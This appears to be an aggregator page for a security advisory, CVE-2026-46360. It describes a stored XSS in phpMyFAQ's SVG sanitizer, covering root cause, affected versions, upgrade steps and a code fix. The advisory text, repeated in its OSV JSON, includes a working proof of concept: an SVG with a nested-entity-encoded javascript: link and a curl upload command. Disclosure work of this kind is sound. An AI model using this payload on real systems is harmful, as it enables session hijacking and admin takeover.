CVE-2026-46360: Phpmyfaq/phpmyfaq Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-whqh-9pq5-c7r3
CVSS 5.4
CWE-79
Published
Advisory Summary

CVE-2026-46360 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Phpmyfaq/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has a svg sanitizer entity decoding depth limit bypass leading to stored xss. Remediation is available by upgrading affected packages to version 4.1.2.

CVE-2026-46360 at a Glance

CVE Identifier CVE-2026-46360
GHSA Identifier GHSA-whqh-9pq5-c7r3
Severity MODERATE
CVSS v3.1 Base Score 5.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Phpmyfaq/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-46360

To remediate this vulnerability, upgrade all affected Phpmyfaq/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpmyfaq/phpmyfaq fixed: 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
thorsten/phpmyfaq fixed: 4.1.2
Upgrade thorsten/phpmyfaq to 4.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpmyfaq/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46360, inspect your project dependencies for Phpmyfaq/phpmyfaq:

inspect dependencies for phpmyfaq/phpmyfaq

Analyze the terminal output to locate any version of Phpmyfaq/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Phpmyfaq/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `SvgSanitizer::decodeAllEntities()` method limits recursive entity decoding to 5 iterations. By wrapping each character of `javascript` in an `href` attribute value with 5 levels of `&amp;` encoding around numeric HTML entities (e.g., `&amp;amp;amp;amp;amp;#106;` for `j`), an attacker can bypass both `isSafe()` detection and `sanitize()` removal. The uploaded SVG is served from the application origin with `image/svg+xml` content type, and the browser's XML parser fully decodes the remaining `&#NNN;` entities, resulting in a clickable `javascript:` link that executes arbitrary JavaScript. ## Details **Root cause:** `decodeAllEntities()` at `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249` limits entity decoding to `maxIterations=5`. Each iteration: (1) decodes `&#NNN;` numeric entities, (2) decodes `&#xHH;` hex entities, (3) calls `html_entity_decode()` which resolves one level of `&amp;` → `&`. With 5 levels of `&amp;` wrapping, all 5 iterations are consumed unwinding the `&amp;` nesting, leaving the final `&#NNN;` numeric entities unresolved. **Code path:** 1. Authenticated user with `FAQ_EDIT` permission uploads SVG via `POST /admin/api/content/images` (`ImageController::upload()` at line 39) 2. File extension is `svg` → `SvgSanitizer::isSafe()` called (line 114) 3. `isSafe()` calls `decodeAllEntities()` — 5 iterations resolve `&amp;` nesting but leave `&#106;&#97;...` (numeric entities for `javascript`) 4. Pattern matching at line 47 (`/href\s*=\s*["\'][\s]*javascript\s*:/i`) does **not** match `&#106;&#97;...` 5. `isSafe()` returns **true** — file saved **without any sanitization** 6. SVG served directly by web server from `content/user/images/` with `image/svg+xml` MIME type 7. Browser's XML parser decodes `&#106;` → `j`, `&#97;` → `a`, etc., reconstructing `javascript:alert(document.domain)` 8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin The bypass is even simpler than initially described — no `<script>` decoy tag is needed. Since `isSafe()` itself is bypassed, the file is stored without sanitization and the `sanitize()` code path is never reached. **Relevant code in `decodeAllEntities()`:** ```php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 5; // <-- insufficient for 5 levels of &amp; + numeric entity while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; // Step 1: Decode decimal entities (&#106; → j) $decoded = preg_replace_callback('/&#(\d+);/', ...); // Step 2: Decode hex entities (&#x6A; → j) $decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...); // Step 3: Decode named HTML entities (&amp; → &) $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } // After 5 iterations with 5 &amp; levels: &#106; remains undecoded return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded); } ``` ## PoC Upload an SVG file containing a `javascript:` href where each character of `javascript` is entity-encoded with 5 levels of `&amp;` nesting around numeric entities. No `<script>` decoy is required — `isSafe()` itself is bypassed. **Step 1: Create malicious SVG file (`xss.svg`):** ```xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200"> <a href="&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)"> <circle cx="100" cy="100" r="80" fill="red"/> <text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text> </a> </svg> ``` **Step 2: Upload via admin image upload endpoint:** ```bash curl -b 'session_cookie' \ -F "files[]=@xss.svg" \ "https://TARGET/admin/api/content/images?csrf=VALID_TOKEN" ``` Expected response: `{"success": true, ...}` with the uploaded file URL. **Step 3: Access the uploaded SVG directly:** ``` https://TARGET/content/user/images/1712345678_xss.svg ``` The browser renders the SVG as `image/svg+xml`. The XML parser decodes `&#106;` → `j`, `&#97;` → `a`, etc., producing `href="javascript:alert(document.domain)"`. Clicking the red circle executes JavaScript in the phpMyFAQ origin. ## Impact - **Stored XSS**: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin. - **Session hijacking**: Attacker can steal session cookies and CSRF tokens of other admins. - **Privilege escalation**: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control. - **Data exfiltration**: Access to all FAQ content, user data, and configuration accessible through the admin interface. The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance. ## Recommended Fix The root cause is that `decodeAllEntities()` can be exhausted by deeply nested `&amp;` encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed: ```php // phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities() private function decodeAllEntities(string $content): string { $previous = ''; $decoded = $content; $maxIterations = 10; // Increase from 5 to handle deeper nesting while ($decoded !== $previous && $maxIterations-- > 0) { $previous = $decoded; $decoded = preg_replace_callback( '/&#(\d+);/', static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = preg_replace_callback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, ); $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8'); } // Safety net: if the loop exited due to iteration limit, do a final // numeric/hex entity decode pass to catch any remaining &#NNN; entities $decoded = preg_replace_callback( '/&#(\d+);/', static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'), $decoded, ); $decoded = preg_replace_callback( '/&#x([0-9a-fA-F]+);/', static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'), $decoded, ); return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded); } ``` Additionally, consider serving uploaded SVG files with `Content-Disposition: attachment` or `Content-Type: application/octet-stream` to prevent browser rendering, as a defense-in-depth measure.

CVE-2026-46360 Affected Phpmyfaq/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.2
Product / Package Ecosystem Affected Versions Fixed Version
phpmyfaq/phpmyfaq
Packagist
< 4.1.2
4.1.2
thorsten/phpmyfaq
Packagist
< 4.1.2
4.1.2

References

Frequently Asked Questions

What is CVE-2026-46360?
CVE-2026-46360 is a security vulnerability in Phpmyfaq/phpmyfaq involving phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Phpmyfaq/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.2 across affected packages: phpmyfaq/phpmyfaq, thorsten/phpmyfaq.
What version fixes CVE-2026-46360?
Upgrading to 4.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
What is the CVSS score of CVE-2026-46360?
CVE-2026-46360 has a CVSS v3.1 base score of 5.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-46360?
CVE-2026-46360 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-46360?
Run the dependency tree command: 'inspect dependencies for phpmyfaq/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-whqh-9pq5-c7r3",
  "modified" : "2026-06-09T00:03:40Z",
  "published" : "2026-05-06T20:18:48Z",
  "aliases" : [ "CVE-2026-46360" ],
  "summary" : "phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS",
  "details" : "## Summary\n\nThe `SvgSanitizer::decodeAllEntities()` method limits recursive entity decoding to 5 iterations. By wrapping each character of `javascript` in an `href` attribute value with 5 levels of `&amp;` encoding around numeric HTML entities (e.g., `&amp;amp;amp;amp;amp;#106;` for `j`), an attacker can bypass both `isSafe()` detection and `sanitize()` removal. The uploaded SVG is served from the application origin with `image/svg+xml` content type, and the browser's XML parser fully decodes the remaining `&#NNN;` entities, resulting in a clickable `javascript:` link that executes arbitrary JavaScript.\n\n## Details\n\n**Root cause:** `decodeAllEntities()` at `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249` limits entity decoding to `maxIterations=5`. Each iteration: (1) decodes `&#NNN;` numeric entities, (2) decodes `&#xHH;` hex entities, (3) calls `html_entity_decode()` which resolves one level of `&amp;` → `&`. With 5 levels of `&amp;` wrapping, all 5 iterations are consumed unwinding the `&amp;` nesting, leaving the final `&#NNN;` numeric entities unresolved.\n\n**Code path:**\n\n1. Authenticated user with `FAQ_EDIT` permission uploads SVG via `POST /admin/api/content/images` (`ImageController::upload()` at line 39)\n2. File extension is `svg` → `SvgSanitizer::isSafe()` called (line 114)\n3. `isSafe()` calls `decodeAllEntities()` — 5 iterations resolve `&amp;` nesting but leave `&#106;&#97;...` (numeric entities for `javascript`)\n4. Pattern matching at line 47 (`/href\\s*=\\s*[\"\\'][\\s]*javascript\\s*:/i`) does **not** match `&#106;&#97;...`\n5. `isSafe()` returns **true** — file saved **without any sanitization**\n6. SVG served directly by web server from `content/user/images/` with `image/svg+xml` MIME type\n7. Browser's XML parser decodes `&#106;` → `j`, `&#97;` → `a`, etc., reconstructing `javascript:alert(document.domain)`\n8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin\n\nThe bypass is even simpler than initially described — no `<script>` decoy tag is needed. Since `isSafe()` itself is bypassed, the file is stored without sanitization and the `sanitize()` code path is never reached.\n\n**Relevant code in `decodeAllEntities()`:**\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249\nprivate function decodeAllEntities(string $content): string\n{\n    $previous = '';\n    $decoded = $content;\n    $maxIterations = 5;  // <-- insufficient for 5 levels of &amp; + numeric entity\n\n    while ($decoded !== $previous && $maxIterations-- > 0) {\n        $previous = $decoded;\n        // Step 1: Decode decimal entities (&#106; → j)\n        $decoded = preg_replace_callback('/&#(\\d+);/', ...);\n        // Step 2: Decode hex entities (&#x6A; → j)\n        $decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);\n        // Step 3: Decode named HTML entities (&amp; → &)\n        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');\n    }\n    // After 5 iterations with 5 &amp; levels: &#106; remains undecoded\n    return preg_replace('/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', '', $decoded);\n}\n```\n\n## PoC\n\nUpload an SVG file containing a `javascript:` href where each character of `javascript` is entity-encoded with 5 levels of `&amp;` nesting around numeric entities. No `<script>` decoy is required — `isSafe()` itself is bypassed.\n\n**Step 1: Create malicious SVG file (`xss.svg`):**\n\n```xml\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\">\n  <a href=\"&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)\">\n    <circle cx=\"100\" cy=\"100\" r=\"80\" fill=\"red\"/>\n    <text x=\"100\" y=\"110\" text-anchor=\"middle\" fill=\"white\" font-size=\"20\">Click me</text>\n  </a>\n</svg>\n```\n\n**Step 2: Upload via admin image upload endpoint:**\n\n```bash\ncurl -b 'session_cookie' \\\n  -F \"files[]=@xss.svg\" \\\n  \"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN\"\n```\n\nExpected response: `{\"success\": true, ...}` with the uploaded file URL.\n\n**Step 3: Access the uploaded SVG directly:**\n\n```\nhttps://TARGET/content/user/images/1712345678_xss.svg\n```\n\nThe browser renders the SVG as `image/svg+xml`. The XML parser decodes `&#106;` → `j`, `&#97;` → `a`, etc., producing `href=\"javascript:alert(document.domain)\"`. Clicking the red circle executes JavaScript in the phpMyFAQ origin.\n\n## Impact\n\n- **Stored XSS**: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.\n- **Session hijacking**: Attacker can steal session cookies and CSRF tokens of other admins.\n- **Privilege escalation**: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.\n- **Data exfiltration**: Access to all FAQ content, user data, and configuration accessible through the admin interface.\n\nThe blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.\n\n## Recommended Fix\n\nThe root cause is that `decodeAllEntities()` can be exhausted by deeply nested `&amp;` encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()\nprivate function decodeAllEntities(string $content): string\n{\n    $previous = '';\n    $decoded = $content;\n    $maxIterations = 10; // Increase from 5 to handle deeper nesting\n\n    while ($decoded !== $previous && $maxIterations-- > 0) {\n        $previous = $decoded;\n        $decoded = preg_replace_callback(\n            '/&#(\\d+);/',\n            static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),\n            $decoded,\n        );\n        $decoded = preg_replace_callback(\n            '/&#x([0-9a-fA-F]+);/',\n            static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),\n            $decoded,\n        );\n        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');\n    }\n\n    // Safety net: if the loop exited due to iteration limit, do a final\n    // numeric/hex entity decode pass to catch any remaining &#NNN; entities\n    $decoded = preg_replace_callback(\n        '/&#(\\d+);/',\n        static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),\n        $decoded,\n    );\n    $decoded = preg_replace_callback(\n        '/&#x([0-9a-fA-F]+);/',\n        static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),\n        $decoded,\n    );\n\n    return preg_replace('/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', replacement: '', subject: $decoded);\n}\n```\n\nAdditionally, consider serving uploaded SVG files with `Content-Disposition: attachment` or `Content-Type: application/octet-stream` to prevent browser rendering, as a defense-in-depth measure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46360"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/phpmyfaq-stored-xss-via-entity-decoding-depth-limit-bypass-in-svg-sanitizer"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T20:18:48Z",
    "nvd_published_at" : null
  }
}